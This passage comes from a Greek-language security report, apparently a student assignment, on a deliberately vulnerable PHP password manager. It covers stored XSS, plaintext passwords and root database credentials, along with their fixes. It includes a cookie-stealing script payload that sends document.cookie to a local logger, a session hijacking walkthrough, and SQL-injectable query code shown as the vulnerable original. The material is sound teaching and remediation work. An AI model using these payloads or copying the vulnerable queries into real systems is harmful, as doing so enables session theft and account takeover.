Στη συνέχεια, το \textit{listcookies.php} εμφανίζει τα ``κλεμμένα'' cookies, ενώ το \textit{usecookie.php} επιτρέπει την επαναχρησιμοποίησή τους (session hijacking demonstration).
|
||
|
||
\subsection{Σενάριο A: Stored XSS με άμεση εξαγωγή cookie}
|
||
\label{sec:xss_scn_a}
|
||
|
||
Στο πρώτο σενάριο εισήχθη σημείωση που περιείχε JavaScript payload, το οποίο αποστέλλει το document.cookie στον attacker-side logger, όπως φαίνεται παρακάτω:
|
||
\begin{verbatim}
|
||
<script>fetch(`http://localhost/passman/xss/getcookie.php?v=${document.cookie}`)</script>
|
||
\end{verbatim}
|
||
|
||
Στην Εικόνα~\ref{fig:xss_scn_a_listcookies} εμφανίζεται το αποθηκευμένο session cookie (\texttt{PHPSESSID}) στη λίστα κλεμμένων cookies.
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=0.55\textwidth]{img/xss-ScA-ListCookie.png}
|
||
\caption{Σενάριο A: Εμφάνιση του ``κλεμμένου'' session cookie (\texttt{PHPSESSID}) μέσω \textit{listcookies.php}.}
|
||
\label{fig:xss_scn_a_listcookies}
|
||
\end{figure}
|
||
|
||
|
||
Κατά την προβολή της σελίδας, ο browser εκτελεί το payload και πραγματοποιεί HTTP request προς \textit{getcookie.php}, όπως τεκμηριώνεται στα logs του web server (Εικόνα~\ref{fig:xss_scn_a_weblogs}).
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=\textwidth]{img/xss-ScA-WebLogs.png}
|
||
\caption{Σενάριο A: Καταγραφή στο web server που δείχνει HTTP request προς \textit{/passman/xss/getcookie.php} με παράμετρο \texttt{v=PHPSESSID=...}.}
|
||
\label{fig:xss_scn_a_weblogs}
|
||
\end{figure}
|
||
|
||
\subsection{Σενάριο B: Παραλλαγή payload με obfuscation}
|
||
\label{sec:xss_scn_b}
|
||
|
||
Στο δεύτερο σενάριο χρησιμοποιήθηκε παραλλαγή payload που επιτυγχάνει την ίδια λειτουργία (εξαγωγή cookie) αλλά με διαφορετική μορφή (obfuscation), ώστε να καταδειχθεί ότι το πρόβλημα δεν περιορίζεται σε ένα συγκεκριμένο ``μοτίβο'' εισαγωγής.
|
||
Η σημείωση που χρησιμοποιήθηκες είναι:
|
||
\begin{verbatim}
|
||
<script>eval("u0061u006cu0065u0072u0074(
|
||
u0022u0058u0053u0053u0020u0075u0073u0069u006eu0067u0020u0065u0076u0061u006cu0022)");
|
||
</script>
|
||
\end{verbatim}
|
||
|
||
Στην Εικόνα~\ref{fig:xss_scn_b_listcookies} φαίνεται ότι το cookie αποθηκεύεται επιτυχώς και σε αυτήν την περίπτωση.
|
||
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=0.55\textwidth]{img/xss-ScB-ListCookie.png}
|
||
\caption{Σενάριο B: Καταγραφή session cookie στη λίστα κλεμμένων cookies.}
|
||
\label{fig:xss_scn_b_listcookies}
|
||
\end{figure}
|
||
|
||
Στα logs (Εικόνα~\ref{fig:xss_scn_b_weblogs}) παρατηρείται και πάλι request προς \textit{getcookie.php}.
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=\textwidth]{img/xss-ScB-WebLogs.png}
|
||
\caption{Σενάριο B: Καταγραφή στο web server που δείχνει την επιτυχή κλήση του \textit{getcookie.php} από το payload.}
|
||
\label{fig:xss_scn_b_weblogs}
|
||
\end{figure}
|
||
|
||
\paragraph{Επιβεβαίωση αποθήκευσης payload στη βάση}
|
||
Επειδή πρόκειται για \textit{stored} XSS, το payload αποθηκεύεται στη βάση δεδομένων και εκτελείται κάθε φορά που προβάλλεται η σελίδα.
|
||
Στην Εικόνα~\ref{fig:xss_db_entries} φαίνεται ότι οι κακόβουλες σημειώσεις αποθηκεύτηκαν στον πίνακα \texttt{notes}.
|
||
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=0.92\textwidth]{img/xss-ScX-MySQLEntries.png}
|
||
\caption{Καταγραφή στη βάση: αποθηκευμένες σημειώσεις που περιέχουν τα XSS payloads (persistent storage).}
|
||
\label{fig:xss_db_entries}
|
||
\end{figure}
|
||
|
||
\subsubsection{Session hijacking demonstration μέσω \textit{usecookie.php}}
|
||
\label{sec:xss_hijack}
|
||
|
||
Ο αντίκτυπος της ευπάθειας είναι ιδιαίτερα σοβαρός, καθώς το \textbf{session cookie μπορεί να χρησιμοποιηθεί για πλαστοπροσωπία} (session hijacking).
|
||
Στην Εικόνα~\ref{fig:xss_usecookie} φαίνεται η χρήση του \textit{usecookie.php} με παράμετρο το κλεμμένο \texttt{PHPSESSID}.
|
||
Στη συνέχεια, η πρόσβαση σε προστατευμένη σελίδα της εφαρμογής (π.χ. \textit{dashboard.php}) είναι εφικτή ως ο χρήστης-θύμα, όπως φαίνεται στην Εικόνα~\ref{fig:xss_dashboard_after_hijack}.
|
||
|
||
\begin{figure}[!ht]
|
||
\begin{subfigure}{.48\textwidth}
|
||
\centering
|
||
\includegraphics[width=\linewidth]{img/xss-ScX-UseCookie.png}
|
||
\caption{Επαναχρησιμοποίηση του κλεμμένου \texttt{PHPSESSID} μέσω \textit{usecookie.php}.}
|
||
\label{fig:xss_usecookie}
|
||
\end{subfigure}
|
||
\hfill
|
||
\begin{subfigure}{.48\textwidth}
|
||
\centering
|
||
\includegraphics[width=\linewidth]{img/xss-SxX-StolenSession.png}
|
||
\caption{Πρόσβαση στο \textit{dashboard.php} μετά την επαναχρησιμοποίηση του session cookie.}
|
||
\label{fig:xss_dashboard_after_hijack}
|
||
\end{subfigure}
|
||
\caption{Session hijacking demonstration.}
|
||
\end{figure}
|
||
|
||
Με βάση τα παραπάνω, επιβεβαιώνεται ότι η εφαρμογή επιτρέπει αποθήκευση και εκτέλεση κακόβουλου JS κώδικα μέσω του μηχανισμού σημειώσεων, με αποτέλεσμα τόσο την εξαγωγή cookies όσο και την πρακτική επίδειξη πλαστοπροσωπίας.
|
||
|
||
\subsection{Αντιμετώπιση Stored XSS στο \textit{notes.php}}
|
||
\label{sec:xss_fix}
|
||
|
||
Η αντιμετώπιση του Stored XSS βασίζεται στην αρχή ότι \textbf{οποιοδήποτε περιεχόμενο προέρχεται από τον χρήστη ή/και τη βάση δεδομένων πρέπει να θεωρείται μη-έμπιστο}.
|
||
Στην αρχική υλοποίηση, το περιεχόμενο των σημειώσεων εμφανιζόταν απευθείας στο HTML, με αποτέλεσμα ο browser να το ερμηνεύει ως markup και να εκτελεί τυχόν ενσωματωμένο JavaScript.
|
||
Η καθιερωμένη πρακτική για την αποτροπή XSS σε \textit{HTML body context} είναι το \textbf{context-aware output encoding}, δηλαδή η κωδικοποίηση ειδικών χαρακτήρων (π.χ. \texttt{<}, \texttt{>}, \texttt{"}, \texttt{'}) πριν από την προβολή τους.
|
||
Με αυτόν τον τρόπο, ακόμη και αν στη βάση υπάρχουν αποθηκευμένα payloads, αυτά προβάλλονται ως απλό κείμενο και δεν είναι δυνατόν να εκτελεστούν.
|
||
|
||
\subsubsection{Υλοποίηση της διόρθωσης}
|
||
Η διόρθωση πραγματοποιήθηκε με ελάχιστη αλλαγή στο \textit{notes.php}, στο σημείο προβολής των σημειώσεων.
|
||
Συγκεκριμένα, πριν την εκτύπωση του περιεχομένου, εφαρμόστηκε \texttt{htmlspecialchars()} με επιλογές \texttt{ENT\_QUOTES} και \texttt{UTF-8}, έτσι ώστε να γίνεται ασφαλής απόδοση των δεδομένων στο HTML.
|
||
Το Απόσπασμα παρακάτω παρουσιάζει τον διορθωμένο κώδικα:
|
||
\begin{minted}{php}
|
||
// Escape output to prevent stored XSS (DB content must be treated as untrusted).
|
||
$safe_note = htmlspecialchars($row["note"], ENT_QUOTES | ENT_SUBSTITUTE, "UTF-8");
|
||
$safe_user = htmlspecialchars($row["username"], ENT_QUOTES | ENT_SUBSTITUTE, "UTF-8");
|
||
|
||
echo "<div class='note-content'>" . $safe_note . "</div>";
|
||
echo "<div class='note-signature'> by " . $safe_user . "</div>";
|
||
\end{minted}
|
||
|
||
\subsubsection{Επαλήθευση της διόρθωσης}
|
||
Μετά την εφαρμογή του output encoding, τα ήδη αποθηκευμένα payloads στη βάση δεν απαιτείται να διαγραφούν.
|
||
Αντίθετα, προβάλλονται ως απλό κείμενο, όπως φαίνεται στην Εικόνα~\ref{fig:xss_fix_notes_plaintext}, όπου οι συμβολοσειρές \texttt{<script>...</script>} εμφανίζονται χωρίς να εκτελούνται.
|
||
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=0.4\textwidth]{img/xss-SxX-NotesSubmitedFix2.png}
|
||
\caption{Μετά τη διόρθωση: τα XSS payloads εμφανίζονται ως απλό κείμενο (δεν εκτελείται JavaScript).}
|
||
\label{fig:xss_fix_notes_plaintext}
|
||
\end{figure}
|
||
|
||
Επιπλέον, η απουσία εκτέλεσης επιβεβαιώνεται και από τα logs του web server:
|
||
ενώ καταγράφονται αιτήματα προς \textit{notes.php}, δεν καταγράφονται πλέον αιτήματα προς \textit{/passman/xss/getcookie.php} (δηλαδή δεν πραγματοποιείται cookie exfiltration), όπως φαίνεται στην Εικόνα~\ref{fig:xss_fix_weblogs}.
|
||
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=\textwidth]{img/xss-SxX-WebLogsFix.png}
|
||
\caption{Μετά τη διόρθωση: καταγράφονται μόνο αιτήματα προς \textit{notes.php} και απουσιάζουν τα αιτήματα προς \textit{/passman/xss/getcookie.php}.}
|
||
\label{fig:xss_fix_weblogs}
|
||
\end{figure}
|
||
|
||
Συνεπώς, η εφαρμογή \textit{context-aware output encoding} στο σημείο προβολής \textbf{εξαλείφει την εκτέλεση αποθηκευμένων XSS payloads} στο συγκεκριμένο context, διατηρώντας αμετάβλητη τη λειτουργικότητα της εφαρμογής.
|
||
|
||
\subsection{Επέκταση της αντιμετώπισης XSS στα επιπλέον σημεία}
|
||
|
||
Η ευπάθεια Stored XSS που παρουσιάστηκε μέσω της λειτουργίας σημειώσεων \textbf{δεν αποτελεί μεμονωμένο περιστατικό}, αλλά ενδεικτικό ενός γενικότερου προγραμματιστικού μοτίβου στην εφαρμογή.
|
||
Δεδομένα προερχόμενα από χρήστες ή από τη βάση δεδομένων προβάλλονταν απευθείας στο HTML χωρίς κατάλληλη κωδικοποίηση εξόδου.
|
||
Για τον λόγο αυτό πραγματοποιήθηκε εκτενέστερη ανάλυση και εντοπίστηκαν επιπλέον σημεία με δυνητική ή άμεση ευπάθεια σε XSS.
|
||
|
||
\subsubsection{Εμφάνιση διαπιστευτηρίων ιστοσελίδων (\textit{dashboard.php})}
|
||
Στο \textit{dashboard.php}, τα πεδία \textit{web\_url}, \textit{web\_username} και \textit{web\_password} προέρχονται από δεδομένα που εισάγονται από τον χρήστη, αποθηκεύονται στη βάση δεδομένων και στη συνέχεια εμφανίζονται στη διεπαφή.
|
||
Στην αρχική υλοποίηση, τα δεδομένα αυτά προβάλλονταν απευθείας, όπως φαίνεται εδώ:
|
||
\begin{minted}{php}
|
||
// Vulnerable output: database-backed user input rendered without escaping.
|
||
echo "<td>" . $row["web_url"] . "</td>";
|
||
echo "<td>" . $row["web_username"] . "</td>";
|
||
echo "<td>" . $row["web_password"] . "</td>";
|
||
\end{minted}
|
||
|
||
Η πρακτική αυτή επιτρέπει την αποθήκευση και εκτέλεση κακόβουλου HTML ή JavaScript κώδικα (\textit{Stored XSS}), με εκτέλεση του payload κάθε φορά που προβάλλεται η σελίδα.
|
||
|
||
|
||
\subsubsection{Εμφάνιση ονόματος χρήστη από session (\textit{dashboard.php})}
|
||
Στην ίδια σελίδα, το όνομα του συνδεδεμένου χρήστη εμφανιζόταν στο header της σελίδας.
|
||
Η τιμή αυτή προέρχεται από session μεταβλητή και στην αρχική υλοποίηση εμφανιζόταν χωρίς κωδικοποίηση εξόδου, όπως φαίνεται εδώ:
|
||
\begin{minted}{php}
|
||
// Vulnerable output: session-derived value treated as trusted.
|
||
echo "<h3>Entries of " . $username . "</h3>";
|
||
\end{minted}
|
||
|
||
|
||
Παρότι τα session δεδομένα συχνά θεωρούνται έμπιστα, στην πράξη μπορούν να αλλοιωθούν σε σενάρια XSS, session hijacking ή cookie tampering.
|
||
Η συγκεκριμένη περίπτωση αποτελεί χαρακτηριστικό παράδειγμα \textbf{second-order XSS}.
|
||
Η αντιμετώπιση βασίστηκε στην κωδικοποίηση της τιμής πριν την εμφάνιση της.
|
||
|
||
\subsubsection{Reflected XSS σε μηνύματα σφάλματος (\textit{login.php}, \textit{register.php})}
|
||
Κατά την ανάλυση εξετάστηκε και η περίπτωση εμφάνισης μηνυμάτων σφάλματος προς τον χρήστη.
|
||
Στα αρχεία \textit{login.php} και \textit{register.php} τα μηνύματα αυτά εμφανίζονται με χρήση μεταβλητής, όπως παρακάτω:
|
||
\begin{minted}{php}
|
||
// Display login or registration status message.
|
||
echo "<p>" . $login_message . "</p>";
|
||
\end{minted}
|
||
|
||
|
||
Στην παρούσα υλοποίηση, οι μεταβλητές αυτές λαμβάνουν μόνο \textbf{στατικές συμβολοσειρές} και δεν ενσωματώνουν δεδομένα εισόδου χρήστη.
|
||
Ως εκ τούτου, δεν είναι πρακτικά εκμεταλλεύσιμες για \textit{reflected XSS} στην τρέχουσα μορφή της εφαρμογής.
|
||
Για τον λόγο αυτό, δεν πραγματοποιήθηκε περαιτέρω εκμετάλλευση, αλλά το σημείο καταγράφεται ως θεωρητικό σενάριο που θα απαιτούσε αντιμετώπιση σε μελλοντική επέκταση της εφαρμογής.
|
||
Ο αναγνώστης μπορεί \href{\fixxsstag}{εδώ} να βρει το branch με όλες τις αλλαγές.
|
||
|
||
|
||
% =====================================================================
|
||
% Plaintext authentication credentials (login passwords) + mitigation
|
||
% =====================================================================
|
||
|
||
\section{Αποθήκευση κωδικών αυθεντικοποίησης σε απλό κείμενο}
|
||
\label{subsec:plaintext-auth}
|
||
|
||
Η εφαρμογή, στην αρχική της υλοποίηση, διαχειριζόταν τους \textbf{κωδικούς} αυθεντικοποίησης των χρηστών (login passwords) ως \textbf{απλό κείμενο (plaintext)}.
|
||
Το πρόβλημα αυτό εμφανίζεται σε περισσότερα του ενός σημεία της εφαρμογής:
|
||
|
||
\begin{enumerate}
|
||
\item \textbf{Πίνακας βάσης δεδομένων \texttt{login\_users}:}
|
||
Οι κωδικοί πρόσβασης αποθηκεύονταν αυτούσιοι στη βάση δεδομένων, γεγονός που μπορεί να επιβεβαιωθεί με απευθείας ερώτημα SQL.
|
||
Η αποθήκευση του κωδικού σε απλό κείμενο είναι άμεσα ορατή και στο περιεχόμενο της βάσης δεδομένων, όπως φαίνεται στην Εικόνα~\ref{fig:pltxt_vuln_logins}.
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=0.7\textwidth]{img/pltxt-VulnLogins.png}
|
||
\caption{Κωδικοί χρηστών σε απλό κείμενο.}
|
||
\label{fig:pltxt_vuln_logins}
|
||
\end{figure}
|
||
|
||
\item \textbf{Διαδικασία εγγραφής χρήστη (\texttt{register.php}):}
|
||
Ο κωδικός που εισάγεται από τον χρήστη αποθηκευόταν στη βάση χωρίς καμία μορφή μετασχηματισμού (hashing).
|
||
\begin{minted}{php}
|
||
$sql_query = "INSERT INTO login_users (username,password) VALUES
|
||
('{$new_username}','{$new_password}');";
|
||
$result = $conn->query($sql_query);
|
||
\end{minted}
|
||
|
||
\item \textbf{Διαδικασία σύνδεσης χρήστη (\texttt{login.php}):}
|
||
Η αυθεντικοποίηση πραγματοποιούνταν μέσω της SQL εντολής \texttt{WHERE username = ? AND password = ?}, με άμεση σύγκριση του κωδικού που εισάγει ο χρήστης με τον αποθηκευμένο κωδικό.
|
||
\begin{minted}{php}
|
||
$sql_query = "SELECT * FROM login_users WHERE username='{$username}'
|
||
AND password='{$password}';";
|
||
$result = $conn->query($sql_query);
|
||
|
||
if (!empty($result) && $result->num_rows >= 1) {
|
||
$_SESSION['username'] = $username;
|
||
$_SESSION['loggedin'] = true;
|
||
// ...
|
||
}
|
||
\end{minted}
|
||
|
||
\item \textbf{Αποθήκευση κωδικών τρίτων ιστοσελίδων (\texttt{dashboard.php}):}
|
||
Οι κωδικοί πρόσβασης ιστοσελίδων αποθηκεύονται και εμφανίζονται επίσης ως απλό κείμενο.
|
||
Η λύση του συγκεκριμένου ζητήματος απαιτεί τη δημιουργία επιπλέον κώδικα για την κωδικοποίηση και αποκωδικοποίηση των δεδομένων, αλλά και αρκετές αλλαγές σε επίπεδο αρχητεκτονικής.
|
||
Για παράδειγμα πρέπει να αποφασιστεί που θα αποθηκεύονται τα κλειδιά κωδικοποίησης, πως θα γίνει η αναδιάρθρωση του κώδικα για να αρχικοποιούνται τα κλειδιά κλπ.
|
||
Για το λόγο αυτό \textbf{η υλοποίησή κρίθηκε εκτός ορίων για τη συγκεκριμένη εργασία}.
|
||
|
||
Αν όμως θα υλοποιούσαμε τέτοια αλλαγή, η λύση θα έπρεπε να προσθέσει ένα νέο αρχείο, π.χ. \textit{crypto.php}, το οποίο θα περιείχε βοηθητικές συναρτήσεις συμμετρικής κρυπτογράφησης με authenticated encryption (π.χ. AES-256-GCM).
|
||
Ενδεικτικά:
|
||
\begin{enumerate}
|
||
\item \textbf{\texttt{pm\_get\_key()}}: ανάκτηση του μυστικού κλειδιού από environment variable (π.χ. \texttt{APP\_ENC\_KEY}) και παραγωγή σταθερού 32-byte key (π.χ. με \texttt{hash('sha256', ... , true)}), ώστε το κλειδί να μην βρίσκεται ποτέ hard-coded στο repository.
|
||
|
||
\item \textbf{\texttt{pm\_encrypt(\$plaintext)}}: κρυπτογράφηση του password πριν την αποθήκευση, με τυχαίο IV (\texttt{random\_bytes}) και παραγωγή authentication tag, και επιστροφή ενός base64 blob (π.χ. \texttt{base64(iv || tag || cipher)}) κατάλληλου για αποθήκευση σε \texttt{VARCHAR}.
|
||
|
||
\item \textbf{\texttt{pm\_decrypt(\$blob)}}: αποκρυπτογράφηση του αποθηκευμένου blob κατά την προβολή, με έλεγχο εγκυρότητας (base64 + μήκος + tag), και (προαιρετικά) fallback σε plaintext για παλαιές εγγραφές ώστε να διευκολυνθεί η μετάβαση (migration).
|
||
\end{enumerate}
|
||
|
||
Στη συνέχεια, θα έπρεπε να γίνουν στοχευμένες αλλαγές στο \textit{dashboard.php}:
|
||
\begin{enumerate}
|
||
\item Στο σημείο εισαγωγής νέας εγγραφής, να γίνεται \texttt{require\_once 'crypto.php'} και να αντικαθίσταται η αποθήκευση του \texttt{\$new\_password} με \texttt{\$enc\_password = pm\_encrypt(\$new\_password)} πριν το \texttt{INSERT} (ώστε στη βάση να καταλήγει μόνο ciphertext), και
|
||
|
||
\item Στο σημείο προβολής της λίστας, να γίνεται \texttt{\$plain\_pass = pm\_decrypt(\$row['web\_password'])} πριν το \texttt{htmlspecialchars} και την εκτύπωση στο HTML (ώστε να εμφανίζεται στον χρήστη το πραγματικό password, αλλά να παραμένει κρυπτογραφημένο στην αποθήκευση).
|
||
|
||
\item Τέλος, θα απαιτούνταν μία διαδικασία migration (π.χ. προσωρινό script) για να κρυπτογραφηθούν οι ήδη αποθηκευμένοι plaintext κωδικοί στο \texttt{websites} table, καθώς και ρύθμιση του container/compose ώστε να ορίζεται το \texttt{APP\_ENC\_KEY} ως secret μέσω environment variables.
|
||
\end{enumerate}
|
||
|
||
\end{enumerate}
|
||
|
||
\subsection{Επιπτώσεις ασφάλειας και σενάρια εκμετάλλευσης}
|
||
|
||
Η αποθήκευση κωδικών αυθεντικοποίησης σε απλό κείμενο αυξάνει δραματικά τον αντίκτυπο οποιασδήποτε παραβίασης της βάσης δεδομένων.
|
||
Σε περίπτωση που ένας επιτιθέμενος αποκτήσει πρόσβαση ανάγνωσης στη βάση (π.χ. μέσω SQL Injection, διαρροής backup ή εσφαλμένων δικαιωμάτων), μπορεί να ανακτήσει άμεσα όλους τους κωδικούς χρηστών χωρίς καμία επιπλέον προσπάθεια.
|
||
|
||
Επιπλέον, επειδή η αυθεντικοποίηση βασιζόταν σε σύγκριση plaintext τιμών εντός της SQL εντολής, η διαρροή του πίνακα \texttt{login\_users} οδηγεί άμεσα σε πλήρη παραβίαση όλων των λογαριασμών, χωρίς να απαιτείται σπάσιμο (cracking) κωδικών ή hashes.
|
||
|
||
\subsection{Προσέγγιση αντιμετώπισης}
|
||
Για την ασφαλή διαχείριση κωδικών αυθεντικοποίησης, \textbf{οι κωδικοί δεν πρέπει ποτέ να αποθηκεύονται σε απλό κείμενο}.
|
||
Η καθιερωμένη πρακτική είναι:
|
||
|
||
\begin{itemize}
|
||
\item χρήση συναρτήσεων \textbf{hashing} με ενσωματωμένο salt κατά την εγγραφή,
|
||
\item \textbf{επαλήθευση} του κωδικού κατά τη σύνδεση μέσω σύγκρισης hash και \textbf{όχι μέσω SQL}.
|
||
\end{itemize}
|
||
|
||
Στην παρούσα εργασία χρησιμοποιούνται οι συναρτήσεις \texttt{password\_hash()} και \texttt{password\_verify()} της PHP, οι οποίες θεωρούνται βέλτιστη πρακτική για την αποθήκευση κωδικών.
|
||
|
||
|
||
\subsection{Διορθωμένη υλοποίηση}
|
||
|
||
Στη διορθωμένη υλοποίηση οι κωδικοί πλέον δεν εισάγονται στη βάση απευθείας από τη μεταβλητή του UI \textit{new\_password}, αλλά \textbf{περνά πρώτα από hashing}:
|
||
\begin{minted}{php}
|
||
$sql_query = "INSERT INTO login_users (username, password) VALUES (?, ?)";
|
||
$stmt = $conn->prepare($sql_query);
|
||
// ...
|
||
$password_hash = password_hash($new_password, PASSWORD_DEFAULT);
|
||
$stmt->bind_param("ss", $new_username, $password_hash);
|
||
$result = $stmt->execute();
|
||
\end{minted}
|
||
|
||
Ομοίως κατά το login (\textit{login.php}), η επαλήθευση στον κωδικό γίνεται με την \textit{password\_verify}.
|
||
\begin{minted}{php}
|
||
$stmt = $conn->prepare("SELECT id, password FROM login_users WHERE username = ?");
|
||
$stmt->bind_param("s", $username)->execute();
|
||
$result = $stmt->get_result();
|
||
if ($result && $result->num_rows === 1) {
|
||
if (password_verify($password, $result->fetch_assoc()["password"])) {
|
||
// succesful password verification
|
||
}
|
||
}
|
||
\end{minted}
|
||
|
||
\subsection{Απαιτούμενες αλλαγές περιβάλλοντος και βάσης δεδομένων}
|
||
Μετά την αλλαγή του μηχανισμού αυθεντικοποίησης, οι ήδη αποθηκευμένοι plaintext κωδικοί πρέπει να αντικατασταθούν από hashes.
|
||
Για τον προ-εγκατεστημένο χρήστη δοκιμών (\texttt{u1/p1}), η διαδικασία πραγματοποιήθηκε χειροκίνητα στο περιβάλλον Docker, ως εξής:
|
||
|
||
Αρχικά δημιουργήσαμε ένα hashed κωδικό για τον υπάρχον χρήστη:
|
||
\begin{minted}{bash}
|
||
$ docker compose exec web bash
|
||
root@ee33aeda3931:/var/www/html# php -r \
|
||
'echo password_hash("p1", PASSWORD_DEFAULT), PHP_EOL;'
|
||
$2y$10$L18u5/PyVkDgsce/DsUOQu0sKhTzh854Euhog3cVb1W4YAfgRzY8W
|
||
root@ee33aeda3931:/var/www/html#
|
||
exit
|
||
\end{minted}
|
||
|
||
Έπειτα αλλάξαμε των κωδικό χειροκίνητα στη βάση:
|
||
\begin{minted}{sql}
|
||
MariaDB [pwd_mgr]> SELECT * FROM login_users;
|
||
+----+----------+----------+
|
||
| id | username | password |
|
||
+----+----------+----------+
|
||
| 1 | u1 | p1 |
|
||
+----+----------+----------+
|
||
|
||
MariaDB [pwd_mgr]> UPDATE login_users
|
||
> SET password = '$2y$10$L18u5/PyVkDgsce/DsUOQu0sKhTzh854Euhog3cVb1W4YAfgRzY8W'
|
||
> WHERE username='u1';
|
||
|
||
MariaDB [pwd_mgr]> SELECT * FROM login_users;
|
||
+----+----------+--------------------------------------------------------------+
|
||
| id | username | password |
|
||
+----+----------+--------------------------------------------------------------+
|
||
| 1 | u1 | $2y$10$L18u5/PyVkDgsce/DsUOQu0sKhTzh854Euhog3cVb1W4YAfgRzY8W |
|
||
+----+----------+--------------------------------------------------------------+
|
||
\end{minted}
|
||
|
||
Η παραπάνω διαδικασία επιβεβαιώνει την επιτυχή αντικατάσταση του plaintext κωδικού με ασφαλές hash, διασφαλίζοντας τη συμβατότητα της βάσης δεδομένων με τη νέα υλοποίηση αυθεντικοποίησης.
|
||
|
||
Τέλος ενημερώσαμε τον ίδιο κωδικό και στο αρχείο αρχικοποίησης (\textit{01-create-pwd\_mgr-db-withData.sql}) της βάσης στον container.
|
||
\begin{minted}{sql}
|
||
-- php -r 'echo password_hash("p1", PASSWORD_DEFAULT), PHP_EOL;'
|
||
INSERT INTO `login_users` (`id`, `username`, `password`) VALUES
|
||
(1, 'u1', '$2y$10$L18u5/PyVkDgsce/DsUOQu0sKhTzh854Euhog3cVb1W4YAfgRzY8W');
|
||
\end{minted}
|
||
|
||
Στην Εικόνα~\ref{fig:pltxt_successful_login} φαίνεται η επιτυχής σύνδεση του υπάρχον χρήστη μετά την αλλαγή του κωδικού στην βάση.
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=0.45\textwidth]{img/pltxt-SuccessfulLogin.png}
|
||
\caption{Επιτυχής σύνδεση χρήστη μετά την αλλαγή κωδικού.}
|
||
\label{fig:pltxt_successful_login}
|
||
\end{figure}
|
||
|
||
|
||
% =====================================================================
|
||
% DB admin credentials (root) used by the web app + mitigation
|
||
% =====================================================================
|
||
|
||
\section{Χρήση διαπιστευτηρίων διαχειριστή (root)}
|
||
\label{subsec:db-root-user}
|
||
|
||
Ένα επιπλέον σημαντικό πρόβλημα ασφάλειας της εφαρμογής είναι ότι η \textbf{σύνδεση} προς τη βάση δεδομένων πραγματοποιείται με \textbf{διαπιστευτήρια διαχειριστή} (\textit{administrator credentials}, χρήστης \texttt{root}).
|
||
Η πρακτική αυτή παραβιάζει τη θεμελιώδη αρχή του \textit{least privilege} (ελάχιστα απαραίτητα προνόμια), διότι οποιοσδήποτε επιτιθέμενος αποκτήσει δυνατότητα εκτέλεσης SQL εντολών (π.χ. μέσω SQL injection ή μέσω πρόσβασης στη βάση) δεν περιορίζεται από δικαιώματα και μπορεί να πραγματοποιήσει καταστροφικές
|
||
ενέργειες.
|
||
|
||
Το πρόβλημα εντοπίζεται στα ακόλουθα σημεία.
|
||
\begin{itemize}
|
||
\item config.php (defaults σε root).
|
||
Στο αρχείο \textit{config.php}, οι παράμετροι της βάσης διαβάζονται από environment variables,
|
||
αλλά αν δεν υπάρχουν τιμές, γίνεται fallback σε \texttt{root/rootpass}.
|
||
\begin{minted}{php}
|
||
$DB_HOST = getenv('DB_HOST') ?: 'db';
|
||
$DB_USER = getenv('DB_USER') ?: 'root';
|
||
$DB_PASS = getenv('DB_PASS') ?: 'rootpass';
|
||
$DB_NAME = getenv('DB_NAME') ?: 'pwd_mgr';
|
||
\end{minted}
|
||
\label{lst:db-root-config}
|
||
|
||
\item docker-compose.yml (η web υπηρεσία τρέχει ως root στη DB).
|
||
Στο \textit{docker-compose.yml} τα environment variables της web υπηρεσίας ορίζονται ρητά ως \texttt{root/rootpass},
|
||
οπότε ακόμη και αν αλλάζαμε μόνο το \textit{config.php}, η εφαρμογή θα συνέχιζε να συνδέεται ως root.
|
||
\begin{minted}{yaml}
|
||
services:
|
||
web:
|
||
environment:
|
||
DB_HOST: db
|
||
DB_USER: root
|
||
DB_PASS: rootpass
|
||
DB_NAME: pwd_mgr
|
||
\end{minted}
|
||
\label{lst:compose-web-root}
|
||
|
||
\item SQL init (δεν υπάρχει dedicated χρήστης εφαρμογής).
|
||
Στο αρχείο αρχικοποίησης \textit{01-create-pwd\_mgr-db-withData.sql} δημιουργούνται tables και demo δεδομένα,
|
||
όμως δεν δημιουργείται ξεχωριστός χρήστης βάσης δεδομένων με περιορισμένα δικαιώματα (least privilege).
|
||
\end{itemize}
|
||
|
||
\subsection{Επιπτώσεις ασφάλειας}
|
||
Η χρήση διαπιστευτηρίων διαχειριστή σημαίνει ότι σε περίπτωση παραβίασης:
|
||
\begin{itemize}
|
||
\item είναι δυνατή η \textbf{πλήρης ανάγνωση} όλων των δεδομένων (π.χ. users, notes, websites),
|
||
\item είναι δυνατές \textbf{καταστροφικές ενέργειες} (\texttt{DROP}, \texttt{TRUNCATE}, μαζικά \texttt{DELETE}),
|
||
\item είναι πιθανή \textbf{μόνιμη παραβίαση} (π.χ. αλλαγές σε grants/χρήστες), ανάλογα με τη ρύθμιση του DB server.
|
||
\end{itemize}
|
||
|
||
Με άλλα λόγια, ακόμη και αν διορθωθούν SQLi σε επίπεδο κώδικα, η χρήση root αυξάνει σημαντικά τον αντίκτυπο (impact amplification) οποιασδήποτε επιτυχούς επίθεσης.
|
||
|
||
\subsection{Αντιμετώπιση: least privilege χρήστης βάσης δεδομένων}
|
||
|
||
Η αντιμετώπιση βασίζεται στη δημιουργία ενός dedicated χρήστη εφαρμογής (π.χ. \texttt{passman\_app}),
|
||
στον οποίο εκχωρούνται μόνο τα απολύτως απαραίτητα δικαιώματα στο schema \texttt{pwd\_mgr}.
|
||
|
||
\begin{itemize}
|
||
\item Αλλαγή στο \textbf{SQL init}: δημιουργία χρήστη και GRANT.
|
||
Στο αρχείο \textit{01-create-pwd\_mgr-db-withData.sql} που φορτώνεται από \texttt{/docker-entrypoint-initdb.d}) προστέθηκαν οι παρακάτω εντολές:
|
||
\begin{minted}{sql}
|
||
-- Create a dedicated DB user for the web application (least privilege).
|
||
-- Grant only the required privileges on the application database.
|
||
CREATE USER IF NOT EXISTS 'passman_app'@'%' IDENTIFIED BY 'passman_app_pw';
|
||
GRANT SELECT, INSERT, UPDATE, DELETE ON pwd_mgr.* TO 'passman_app'@'%';
|
||
FLUSH PRIVILEGES;
|
||
\end{minted}
|
||
